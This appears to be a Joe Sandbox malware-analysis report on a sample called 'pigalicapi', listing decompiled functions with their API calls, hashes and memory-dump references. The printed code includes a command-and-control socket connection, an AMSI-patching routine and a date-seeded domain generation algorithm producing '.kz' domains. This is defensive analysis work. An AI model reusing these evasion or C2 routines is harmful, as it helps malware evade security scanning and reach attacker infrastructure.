				signed char _v8;
				short _v12;
				signed char _v13;
				signed int _v20;
				intOrPtr _v32;
				short _v34;
				char _v36;
				intOrPtr _v40;
				char _v44;
				signed int _t40;
				char* _t42;

				_push(6);
				_push(1);
				_push(2);
				L0400B210();
				_v20 = __eax;
				if(_v20 != 0xffffffff) {
					_v36 = 2;
					_push(_a8 & 0x0000ffff);
					L0400B20A();
					_v34 = 2;
					_push(_a4);
					L0400B204();
					_v12 = 2;
					if(_v12 == 0) {
						return 0xffffffffffffffff;
					}
					_v32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0xc))))));
					_v8 = 0;
					_v13 = 0;
					_v40 = 0;
					while(_v40 < _a12) {
						_push(0x10);
						_t42 =  &_v36;
						_push(_t42);
						_push(_v20);
						L0400B1FE();
						if(_t42 != 0) {
							_v40 = _v40 + 1;
							continue;
						}
						_v13 = 1;
						break;
					}
					if((_v13 & 0x000000ff) != 0) {
						if(_a16 != 0) {
							_v44 = _a16;
							_push(4);
							_push( &_v44);
							_push(0x1005);
							_push(0xffff);
							_push(_v20);
							L0400B1F2();
							_push(4);
							_push( &_v44);
							_push(0x1006);
							_push(0xffff);
							_push(_v20);
							L0400B1F2();
						}
						return _v20;
					}
					_t40 = _v20;
					_push(_t40);
					L0400B1F8();
					return _t40 | 0xffffffff;
				}
				return _v20;
			}

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0400A09C
htons.WS2_32(?), ref: 0400A0C0
gethostbyname.WS2_32(?), ref: 0400A0CD
connect.WS2_32(000000FF,?,00000010), ref: 0400A121
closesocket.WS2_32(000000FF), ref: 0400A13E

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction ID: a070b3506782e3d460d1e62e3f028d70face053f71bdd0f6ca274d7f1f380b7b
Opcode Fuzzy Hash: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction Fuzzy Hash: 65312B70B00319ABEB10EFE4D845BFEB7B5AF98314F108659E5217B2C0E7B5A940CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00401110 Relevance: 9.1, APIs: 6, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00401110(signed int** _a4) {
				intOrPtr _v24;
				signed int _t10;
				intOrPtr _t23;
				intOrPtr* _t24;

				_t10 =  *( *_a4);
				if(_t10 > 0xc0000091) {
					if(_t10 == 0xc0000094) {
						_t23 = 0;
						L3:
						_v24 = 0;
						 *_t24 = 8;
						L00402438();
						if(_t10 == 1) {
							_v24 = 1;
							 *_t24 = 8;
							L00402438();
							if(_t23 != 0) {
								return E00401DC8(_t10) | 0xffffffff;
							}
							return 0xffffffff;
						}
						if(_t10 != 0) {
							 *_t24 = 8;
							 *_t10();
							return 0xffffffff;
						}
						L5:
						return 0;
					}
					if(_t10 == 0xc0000096) {
						L13:
						_v24 = 0;
						 *_t24 = 4;
						L00402438();
						if(_t10 == 1) {
							_v24 = 1;
							 *_t24 = 4;
							L00402438();
							return _t10 | 0xffffffff;
						}
						if(_t10 == 0) {
							goto L5;
						}
						 *_t24 = 4;
						 *_t10();
						return 0xffffffff;
					}
					if(_t10 != 0xc0000093) {
						goto L5;
					}
					L2:
					_t23 = 1;
					goto L3;
				}
				if(_t10 < 0xc000008d) {
					if(_t10 == 0xc0000005) {
						_v24 = 0;
						 *_t24 = 0xb;
						L00402438();
						if(_t10 == 1) {
							_v24 = 1;
							 *_t24 = 0xb;
							L00402438();
							return _t10 | 0xffffffff;
						}
						if(_t10 == 0) {
							goto L5;
						}
						 *_t24 = 0xb;
						 *_t10();
						return 0xffffffff;
					}
					if(_t10 != 0xc000001d) {
						goto L5;
					}
					goto L13;
				}
				goto L2;
			}

APIs

signal.MSVCRT ref: 00401140
signal.MSVCRT ref: 00401195

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: b9bb587fe7c6cb3023dc2312aa5bc470187502754f4a2d40641746054c1a0613
Instruction ID: ea7fa943b60d7b9f1addb821176663a5204698881c51cde0c619178f84824117
Opcode Fuzzy Hash: b9bb587fe7c6cb3023dc2312aa5bc470187502754f4a2d40641746054c1a0613
Instruction Fuzzy Hash: AB2101701042018AD7247B69854432F76D06B4A328F554B3FE6EAEB3E1C7BDC884975B

Uniqueness

Uniqueness Score: -1.00%

Function 100024F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(10004070,00000000,00000800), ref: 10002509
GetProcAddress.KERNEL32(00000000,10004078), ref: 10002525
VirtualProtect.KERNEL32(?,00000004,00000040,?), ref: 10002560
VirtualProtect.KERNEL32(?,00000004,?,?), ref: 10002581

Strings

AMSI, xrefs: 1000254C

Memory Dump Source

Source File: 00000006.00000002.606973844.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_pigalicapi.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: AMSI
API String ID: 3300690313-3828877684
Opcode ID: 39020bfaabfcf144605de5e0a77759fb48e00e494b42d059a3f8fbf759fe6226
Instruction ID: 1f1fccf587520e98a24689dc9d6c387d6eb81e8a4efd5f3f63844951b48620cd
Opcode Fuzzy Hash: 39020bfaabfcf144605de5e0a77759fb48e00e494b42d059a3f8fbf759fe6226
Instruction Fuzzy Hash: 8D111CB4D01209EFEB04CF94CC99BAEBBB4FB48341F208559EA01B7384D7706A40DB59

Uniqueness

Uniqueness Score: -1.00%

Function 04009290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04009290() {
				char _v8;
				_Unknown_base(*)()* _v12;

				_v8 = 0;
				_v12 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
				if(_v12 != 0) {
					_v12(GetCurrentProcess(),  &_v8);
				}
				return _v8;
			}

0x04009296
0x040092b4
0x040092bb
0x040092c8
0x040092c8
0x040092d1

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process), ref: 040092A7
GetProcAddress.KERNEL32(00000000), ref: 040092AE
GetCurrentProcess.KERNEL32(00000000), ref: 040092C1

Strings

IsWow64Process, xrefs: 0400929D
kernel32.dll, xrefs: 040092A2

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: 38042a03575f21376aceb1f4956717d964388ed776961314cc3b8e9b1f133714
Instruction ID: 4f9345edf5834c8cb0bc8acfac962fe0122c83c58fee2cee7c9637e45e33d241
Opcode Fuzzy Hash: 38042a03575f21376aceb1f4956717d964388ed776961314cc3b8e9b1f133714
Instruction Fuzzy Hash: D5E09275D04308EBEB04DFF4D94DB9D7B78EB08205F504694E545B2140D6786A54CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04007250 Relevance: 7.6, APIs: 5, Instructions: 113
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E04007250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				char* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v40;
				int _v44;
				int _v48;
				char _v64;
				signed int _v68;
				intOrPtr* _v72;
				struct _SYSTEMTIME _v88;
				char* _t58;
				intOrPtr* _t68;
				short* _t69;
				signed int _t70;
				intOrPtr* _t91;
				void* _t97;
				void* _t100;
				intOrPtr* _t101;

				_v5 = 1;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 ||  *((intOrPtr*)(_a4 + 0x10)) == 0) {
					L12:
					return _v5;
				} else {
					_v24 = E040016F0(_a8, _a12);
					_t58 =  *0x40118a0; // 0x4013b88
					_v12 = _t58;
					E04007D20(_t58,  &_v40, 0, 0x10);
					wsprintfA( &_v40, "%u", _v24);
					_t100 = _t97 + 0x20;
					_v16 = 0x80000001;
					if(( *0x401435a & 0x000000ff) != 0) {
						_v16 = 0x80000002;
					}
					_v20 = 0;
					if(RegOpenKeyExA(_v16, _v12, 0, 0xf003f,  &_v20) == 0) {
						_v48 = 0x10;
						_v44 = 0x10;
						if(RegQueryValueExA(_v20,  &_v40, 0, 0,  &_v64,  &_v44) == 0 && _v44 == 0x10) {
							_v72 =  &_v64;
							GetLocalTime( &_v88);
							_t91 = _v72;
							_t101 = _t100 - 0x10;
							_t68 = _t101;
							 *_t68 =  *_t91;
							 *((intOrPtr*)(_t68 + 4)) =  *((intOrPtr*)(_t91 + 4));
							 *((intOrPtr*)(_t68 + 8)) =  *((intOrPtr*)(_t91 + 8));
							 *((intOrPtr*)(_t68 + 0xc)) =  *((intOrPtr*)(_t91 + 0xc));
							_t69 = _t101 - 0x10;
							 *_t69 = _v88.wYear;
							_t69[2] = _v88.wDayOfWeek;
							_t69[4] = _v88.wHour;
							_t69[6] = _v88.wSecond;
							_t70 = E04009910();
							asm("cdq");
							_v68 = _t70 / 0x3c;
							if(_v68 <  *((intOrPtr*)(_a4 + 0x10))) {
								_v5 = 0;
							}
						}
						RegCloseKey(_v20);
					}
					goto L12;
				}
			}

APIs

wsprintfA.USER32 ref: 040072BD
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F,00000000), ref: 040072F9
RegQueryValueExA.ADVAPI32(00000000,?,00000000,00000000,?,00000010), ref: 04007329
GetLocalTime.KERNEL32(?), ref: 04007343
RegCloseKey.ADVAPI32(00000000), ref: 040073A9

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseLocalOpenQueryTimeValuewsprintf
String ID:
API String ID: 3852505512-0
Opcode ID: dbb66ec4e40f0b96ddf8d886ab6d66ea576557e999e4472c56c1706dad51e441
Instruction ID: 1589668eb117d9c12aae7036857c9bc1fd79cd220dc98d09134ced9bc9b72130
Opcode Fuzzy Hash: dbb66ec4e40f0b96ddf8d886ab6d66ea576557e999e4472c56c1706dad51e441
Instruction Fuzzy Hash: CE414C74900208EFEB08DF94D885BEDBBB5FF48300F14C569E915AB281D779AA45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 040073C0 Relevance: 7.6, APIs: 5, Instructions: 70
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040073C0(long _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v36;
				char _v52;
				long _t24;
				char* _t26;

				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t24 = _a4;
					if( *((intOrPtr*)(_t24 + 0x10)) != 0) {
						_v20 = E040016F0(_a8, _a12);
						_t26 =  *0x40118a0; // 0x4013b88
						_v8 = _t26;
						E04007D20(_t26,  &_v36, 0, 0x10);
						wsprintfA( &_v36, "%u", _v20);
						_v12 = 0x80000001;
						if(( *0x401435a & 0x000000ff) != 0) {
							_v12 = 0x80000002;
						}
						_v16 = 0;
						_t24 = RegOpenKeyExA(_v12, _v8, 0, 0xf003f,  &_v16);
						if(_t24 == 0) {
							GetLocalTime( &_v52);
							RegSetValueExA(_v16,  &_v36, 0, 3,  &_v52, 0x10);
							return RegCloseKey(_v16);
						}
					}
				}
				return _t24;
			}

APIs

wsprintfA.USER32 ref: 04007429
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,000F003F,00000000), ref: 04007465
GetLocalTime.KERNEL32(?), ref: 04007473
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 0400748B
RegCloseKey.ADVAPI32(00000000), ref: 04007495

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseLocalOpenTimeValuewsprintf
String ID:
API String ID: 3926099652-0
Opcode ID: 5b6941f17f7e1ce7d1a6ef015ad0abb591c00484f45a97b9485d98f3a3167c0d
Instruction ID: 829c9f2afe597629132b3bb77bbcf1684e2940429f06bc569247a29e29dd4590
Opcode Fuzzy Hash: 5b6941f17f7e1ce7d1a6ef015ad0abb591c00484f45a97b9485d98f3a3167c0d
Instruction Fuzzy Hash: 442112B5900208ABEB14DFA4D849FFE77B8FB48704F048558FA15AB180D77DAA44CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04009650 Relevance: 7.6, APIs: 5, Instructions: 69
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04009650(intOrPtr _a4, intOrPtr _a8, CHAR* _a12, intOrPtr _a16) {
				int _v8;
				intOrPtr _v12;
				char _v20;
				int _v24;
				signed char _v25;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v24 = lstrlenA(_a12);
					while(_v12 < _a8 && _v24 < _a16) {
						_v25 =  *((intOrPtr*)(_a4 + _v12));
						E04007D20(_a4 + _v12,  &_v20, 0, 8);
						E04009560(_v25 & 0x000000ff,  &_v20, 7);
						_t58 = _t58 + 0x18;
						lstrcatA(_a12,  &_v20);
						_v24 = lstrlenA(_a12);
						_v12 = _v12 + 1;
					}
					if(lstrlenA(_a12) > _a16) {
						_a12[_a16] = 0;
					}
					_v8 = lstrlenA(_a12);
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04009690
lstrcatA.KERNEL32(00000000,00000000), ref: 040096DF
lstrlenA.KERNEL32(00000000), ref: 040096E9
lstrlenA.KERNEL32(00000000), ref: 04009701
lstrlenA.KERNEL32(00000000), ref: 04009719

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID:
API String ID: 493641738-0
Opcode ID: 8467699368807e0697c2a8f8d306fbd68601f1d2da39666beca5ff7786e62213
Instruction ID: 5d62f8ff5c671b513c9f4ed5768570a6b0eac4432c67e9f412687076ede29f23
Opcode Fuzzy Hash: 8467699368807e0697c2a8f8d306fbd68601f1d2da39666beca5ff7786e62213
Instruction Fuzzy Hash: 3D213DB1900349EFEB14CFA4D884BEE7BB5FF44305F148558E914A7281D378AA94CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00401E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93
memoryCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E00401E1C(void* __eax, void* __ebx, int __ecx, void* __edx, intOrPtr __edi, void* __esi) {
				void* _v16;
				void* _v32;
				char _v36;
				char _v40;
				intOrPtr _v48;
				char* _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v80;
				void* _v84;
				char** _v88;
				signed int _v148;
				void* _t55;
				long _t57;
				signed int _t59;
				void* _t63;
				intOrPtr* _t66;
				intOrPtr _t68;
				signed char* _t70;
				intOrPtr _t74;
				void* _t85;
				intOrPtr* _t87;
				intOrPtr* _t89;
				int _t94;
				intOrPtr _t96;
				signed int _t112;
				void** _t120;
				intOrPtr _t121;
				signed int _t126;
				void* _t141;
				char _t145;
				char** _t150;
				void* _t152;
				intOrPtr* _t153;
				char** _t154;
				char** _t155;
				char** _t162;

				_t122 = __edi;
				_t106 = __edx;
				_t55 = __eax;
				_push(__edi);
				_push(__esi);
				_push(__ebx);
				_t153 = _t152 - 0x4c;
				_t85 = __eax;
				_t141 = __edx;
				if(__ecx != 0) {
					_v84 = 0x1c;
					_v88 =  &_v60;
					 *_t153 = __eax;
					_v64 = __ecx;
					_t57 = VirtualQuery(??, ??, ??);
					_t154 = _t153 - 0xc;
					_t94 = _v64;
					if(_t57 == 0) {
						_v84 = _t85;
						_v88 = 0x1c;
						 *_t154 = "  VirtualQuery failed for %d bytes at address %p";
						E00401DD0(_t85, _t94, _t106, __edi, _t141);
						_t150 = _t154;
						_push(__edi);
						_push(_t141);
						_push(_t85);
						_t155 = _t154 - 0x2c;
						_t59 =  *0x405040;
						if(_t59 == 0) {
							 *0x405040 = 1;
							_t59 = 0;
							if(0x404138 <= 7) {
								goto L11;
							} else {
								_t87 = 0x404138;
								if(0x404138 <= 0xb) {
									L23:
									_t106 =  *_t87;
									if( *_t87 != 0) {
										goto L17;
									} else {
										_t32 = _t87 + 4; // 0x0
										_t59 =  *_t32;
										if(_t59 != 0) {
											goto L17;
										} else {
											goto L25;
										}
									}
								} else {
									_t122 =  *0x404138; // 0x0
									if(_t122 != 0) {
										L17:
										if(_t87 >= 0x404138) {
											goto L11;
										} else {
											do {
												_t30 = _t87 + 4; // 0x0
												_v40 =  *((intOrPtr*)( *_t30 + 0x400000)) +  *_t87;
												_t63 = E00401E1C( *_t30 + 0x400000, _t87, 4,  &_v40,  &_v40, 0x400000);
												_t87 = _t87 + 8;
											} while (_t87 < 0x404138);
											return _t63;
										}
									} else {
										_t141 =  *0x40413c; // 0x0
										if(_t141 == 0) {
											_t94 =  *0x404140; // 0x0
											if(_t94 != 0) {
												L25:
												_t33 = _t87 + 8; // 0x0
												_t59 =  *_t33;
												if(_t59 != 1) {
													_v148 = _t59;
													 *_t155 = "  Unknown pseudo relocation protocol version %d.\n";
													E00401DD0(_t87, _t94, _t106, _t122, _t141);
													_push(_t150);
													_t66 =  *((intOrPtr*)( *0x403020));
													while(_t66 != 0) {
														 *_t66();
														_t68 =  *0x403020;
														 *0x403020 = _t68 + 4;
														_t66 =  *((intOrPtr*)(_t68 + 4));
													}
													return _t66;
												} else {
													_t89 = _t87 + 0xc;
													if(_t89 < 0x404138) {
														do {
															_t34 = _t89 + 4; // 0x0
															_t70 = 0x400000 +  *_t34;
															_t96 =  *_t89;
															_t35 = _t96 + 0x400000; // 0x905a4d
															_t145 =  *_t35;
															_t36 = _t89 + 8; // 0x0
															_t112 =  *_t36 & 0x000000ff;
															if(_t112 == 0x10) {
																_t126 =  *0x400000 & 0x0000ffff;
																if((_t126 & 0x00008000) != 0) {
																	_t122 = (_t126 | 0xffff0000) - _t96 - 0x400000;
																	_v36 = _t145;
																	goto L43;
																} else {
																	goto L34;
																}
															} else {
																if(_t112 == 0x20) {
																	_v36 =  *0x400000 - _t96 - 0x400000 + _t145;
																	goto L39;
																} else {
																	if(_t112 != 8) {
																		_v36 = 0;
																		_v148 = _t112;
																		 *_t155 = "  Unknown pseudo relocation bit size %d.\n";
																		_t70 = E00401DD0(_t89, _t96, _t112, _t122, _t145);
																	}
																	_t126 =  *_t70 & 0x000000ff;
																	if((_t126 & 0x00000080) == 0) {
																		L34:
																		_t122 = _t126 - _t96;
																		_v36 = _t126 - _t96 - 0x400000 + _t145;
																		if(_t112 == 0x10) {
																			L43:
																			E00401E1C(_t70, _t89, 2,  &_v36, _t122, _t145);
																		} else {
																			if(_t112 == 0x20) {
																				L39:
																				E00401E1C(_t70, _t89, 4,  &_v36, _t122, _t145);
																			} else {
																				if(_t112 == 8) {
																					goto L37;
																				}
																			}
																		}
																	} else {
																		_t122 = (_t126 | 0xffffff00) - _t96 - 0x400000;
																		_v36 = _t145;
																		L37:
																		E00401E1C(_t70, _t89, 1,  &_v36, _t122, _t145);
																	}
																}
															}
															_t89 = _t89 + 0xc;
															_t59 = 0x404138;
														} while (0x404138 > _t89);
													}
													goto L11;
												}
											} else {
												_t87 = 0x404144;
												goto L23;
											}
										} else {
											goto L17;
										}
									}
								}
							}
						} else {
							L11:
							return _t59;
						}
					} else {
						_t74 = _v40;
						if(_t74 == 0x40 || _t74 == 4) {
							return memcpy(_t85, _t141, _t94);
						} else {
							_t120 =  &_v32;
							_v80 = _t120;
							_v84 = 0x40;
							_v88 = _v48;
							 *_t154 = _v60;
							_v68 = _t120;
							_v64 = _t94;
							VirtualProtect(??, ??, ??, ??);
							_t55 = memcpy(_t85, _t141, _v64);
							_t162 = _t154 - 0x10 + 0xc;
							_t121 = _v68;
							if(_t55 == 0x40 || _t55 == 4) {
								goto L1;
							} else {
								_v80 = _t121;
								_v84 = _v32;
								_v88 = _v48;
								 *_t162 = _v60;
								return VirtualProtect(??, ??, ??, ??);
							}
						}
					}
				} else {
					L1:
					return _t55;
				}
			}

APIs

VirtualQuery.KERNEL32 ref: 00401E4D
VirtualProtect.KERNEL32 ref: 00401E8F
VirtualProtect.KERNEL32 ref: 00401ECA

Strings

@, xrefs: 00401E74

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: Virtual$Protect$Query
String ID: @
API String ID: 3618607426-2766056989
Opcode ID: f09473ca4629ddbfdfb1bbf95e45a330cf630b9b0dbe34dad6cf56d79bdec4c4
Instruction ID: 06f0d9e29b35e3b38f917c532443f2a712c509407963492828fb5f3299beb3b6
Opcode Fuzzy Hash: f09473ca4629ddbfdfb1bbf95e45a330cf630b9b0dbe34dad6cf56d79bdec4c4
Instruction Fuzzy Hash: B1310BB5D04204AFDB14EFA9D48559EFBF4EB88354F10852EE958E3390E375D840CB96

Uniqueness

Uniqueness Score: -1.00%

Function 040092E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040092E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				struct _SYSTEMTIME _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v172;
				void* _t46;
				intOrPtr _t50;
				void* _t83;
				void* _t84;
				void* _t86;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0) {
					GetLocalTime( &_v28);
					_t46 = E040097E0(_v28.wMonth & 0x0000ffff, _v28.wYear & 0x0000ffff, _v28.wMonth & 0x0000ffff, _v28.wDay & 0x0000ffff);
					_t84 = _t83 + 0xc;
					_v12 = _t46 + _a12;
					_v32 = 0;
					while(_v32 < _a8) {
						E04007D20( &_v172,  &_v172, 0, 0x80);
						_t50 = E04008BB0( &_v12, 4,  &_v172, 0x80);
						_t86 = _t84 + 0x1c;
						_v40 = _t50;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v172;
						}
						_v36 = _v12 % 4 + 9;
						E04009650( &_v172, _v40, _v32 * 0x28 + _a4, _v36);
						_t84 = _t86 + 0x10;
						lstrcatA(_v32 * 0x28 + _a4, ".kz");
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

APIs

GetLocalTime.KERNEL32(?), ref: 04009308

Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
Part of subcall function 04008BB0: GetLastError.KERNEL32 ref: 04008C09
Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
Part of subcall function 04008BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
Part of subcall function 04008BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
Part of subcall function 04008BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
Part of subcall function 04008BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

lstrcatA.KERNEL32(00000000,.kz), ref: 040093DB

Strings

.kz, xrefs: 040093CC

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastLocalReleaseTimelstrcat
String ID: .kz
API String ID: 2740484991-4216035510
Opcode ID: 28f090440165364d74cfd4a48749ec745bc8846a55d0f1667de3e46dcaf07841
Instruction ID: bb0d42d70b93f9fb2e2ab601979b3322a165a8cda29c6817b22e5740edda4972
Opcode Fuzzy Hash: 28f090440165364d74cfd4a48749ec745bc8846a55d0f1667de3e46dcaf07841
Instruction Fuzzy Hash: 2D310AB1E00209EBEF08DF94C885BEEB7B5EF58304F10C159E515B7281E678AA85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 10002430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 10002468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 100024B2

Strings

@, xrefs: 10002453

Memory Dump Source

Source File: 00000006.00000002.606973844.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_pigalicapi.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: af73fc3a835f5cb9a27c40e94a700fe6bd6fe7a21d246ca72f0d591094e94dd8
Instruction ID: 1bc0fa0ef2482510480b6d00c0adc5d74525c4f8bff966f143e9313f40c37061
Opcode Fuzzy Hash: af73fc3a835f5cb9a27c40e94a700fe6bd6fe7a21d246ca72f0d591094e94dd8
Instruction Fuzzy Hash: 4C21DEB0905249EFEF14CF94C984BAEBBB5FF44384F208599D909A7248C774AF80DB51

Uniqueness

Uniqueness Score: -1.00%

Function 040078D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

